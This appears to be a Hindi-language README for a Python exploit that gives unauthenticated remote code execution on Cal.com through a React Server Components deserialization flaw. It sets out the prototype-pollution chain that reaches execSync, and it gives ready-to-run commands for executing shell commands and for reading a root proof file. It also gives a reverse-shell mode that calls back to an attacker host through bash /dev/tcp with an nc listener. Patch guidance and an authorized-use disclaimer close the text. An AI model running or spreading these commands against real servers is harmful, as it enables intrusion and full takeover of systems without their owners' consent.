
Cal.com (CVE-2025-71389) में React Server Components डिसीरियलाइज़ेशन के माध्यम से बिना प्रमाणीकरण के RCE के लिए Python एक्सप्लॉइट। एक ही अनुरोध से कमांड निष्पादन या रिवर्स शेल प्राप्त होता है।
Cal.com में बिना प्रमाणीकरण के रिमोट कोड निष्पादन
<= 5.9.8 तक React Server Components "Flight" deserialization दोष के माध्यम से संभव है —
"react2shell" (React में CVE-2025-55182, Next.js में CVE-2025-66478)।
Cal.com एक कमजोर Next.js 15.x बंडल करता है। एक अकेला बिना प्रमाणीकरण वाला POST / जिसमें
Next-Action हेडर और एक विशेष रूप से तैयार multipart Flight पेलोड होता है, प्रोटोटाइप-प्रदूषण
श्रृंखला (__proto__:then + constructor:constructor) से होते हुए सर्वर-साइड eval तक पहुँचता है,
और child_process.execSync तक जाता है। कमांड का आउटपुट RSC त्रुटि
digest फ़ील्ड में इनलाइन लौटाया जाता है। कोई प्रमाणीकरण नहीं, कोई उपयोगकर्ता इंटरैक्शन नहीं — एक अनुरोध ही RCE है।
<= 5.9.8 (RSC के साथ Next.js 15.x / 16.x App Router)5.9.9 (बंडल किए गए Next.js को अपडेट करता है)3000pip install requests
# one-off command (output comes back in the response)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
# interactive reverse shell (start `nc -lvnp 4444` first)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
वन-ऑफ कमांड अपना आउटपुट RSC त्रुटि digest के माध्यम से इनलाइन लौटाता है। --shell
मोड एक setsid-वियुक्त bash /dev/tcp रिवर्स शेल चलाता है (लक्ष्य का कंटेनर Debian है
और उसमें bash मौजूद है)।
Cal.com को >= 5.9.9 में अपग्रेड करें (कोई भी पैच किया गया Next.js: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 /
15.4.8 / 15.5.7 / 16.0.7)। RSC सर्वर-फ़ंक्शन हैंडलर को अविश्वसनीय क्लाइंट्स के लिए एक्सपोज़ न करें,
और ऐप कंटेनर को रूट के रूप में न चलाएँ।
केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसका उपयोग केवल उन्हीं सिस्टम्स पर करें जिनके आप मालिक हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है।